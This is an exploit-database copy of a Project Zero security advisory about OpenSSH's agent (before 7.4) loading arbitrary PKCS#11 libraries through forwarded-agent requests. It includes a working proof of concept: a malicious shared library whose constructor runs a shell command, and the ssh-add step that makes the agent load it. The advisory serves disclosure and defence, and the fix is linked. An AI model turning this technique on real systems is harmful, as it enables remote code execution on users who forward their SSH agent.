OpenSSH < 7.4 - agent Protocol Arbitrary Library Loading

  • 作者: Google Security Research
    日期: 2016-12-23
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  • 来源:https://www.exploit-db.com/exploits/40963/
  • Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1009
    
    The OpenSSH agent permits its clients to load PKCS11 providers using the commands SSH_AGENTC_ADD_SMARTCARD_KEY and SSH_AGENTC_ADD_SMARTCARD_KEY_CONSTRAINED if OpenSSH was compiled with the ENABLE_PKCS11 flag (normally enabled) and the agent isn't locked. For these commands, the client has to specify a provider name. The agent passes this provider name to a subprocess (via ssh-agent.c:process_add_smartcard_key -> ssh-pkcs11-client.c:pkcs11_add_provider -> ssh-pkcs11-client.c:send_msg), and the subprocess receives it and passes it to dlopen() (via ssh-pkcs11-helper.c:process -> ssh-pkcs11-helper.c:process_add -> ssh-pkcs11.c:pkcs11_add_provider -> dlopen). No checks are performed on the provider name, apart from testing whether that provider is already loaded.
    
    This means that, if a user connects to a malicious SSH server with agent forwarding enabled and the malicious server has the ability to place a file with attacker-controlled contents in the victim's filesystem, the SSH server can execute code on the user's machine.
    
    To reproduce the issue, first create a library that executes some command when it is loaded:
    
    $ cat evil_lib.c
    #include <stdlib.h>
    __attribute__((constructor)) static void run(void) {
    // in case you're loading this via LD_PRELOAD or LD_LIBRARY_PATH,
    // prevent recursion through system()
    unsetenv("LD_PRELOAD");
    unsetenv("LD_LIBRARY_PATH");
    system("id > /tmp/test");
    }
    $ gcc -shared -o evil_lib.so evil_lib.c -fPIC -Wall
    
    Connect to another machine using "ssh -A". Then, on the remote machine:
    
    $ ssh-add -s [...]/evil_lib.so
    Enter passphrase for PKCS#11: [just press enter here]
    SSH_AGENT_FAILURE
    Could not add card: [...]/evil_lib.so
    
    At this point, the command "id > /tmp/test" has been executed on the machine running the ssh agent:
    
    $ cat /tmp/test
    uid=1000(user) gid=1000(user) groups=[...]
    
    
    Fixed in http://cvsweb.openbsd.org/cgi-bin/cvsweb/src/usr.bin/ssh/ssh-agent.c.diff?r1=1.214&r2=1.215&f=h